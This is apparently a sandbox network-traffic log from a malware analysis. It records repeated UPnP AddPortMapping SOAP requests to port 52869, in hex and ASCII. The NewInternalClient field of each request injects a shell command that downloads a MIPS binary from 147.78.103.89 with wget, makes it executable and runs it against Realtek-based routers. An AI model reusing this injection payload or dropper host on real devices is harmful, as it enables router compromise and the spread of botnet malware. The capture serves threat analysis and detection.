                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:33.689774036 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:05.176958084 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      44192.168.2.153740645.121.56.17252869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:03.404733896 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:04.954709053 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:06.810585976 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:10.654438972 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
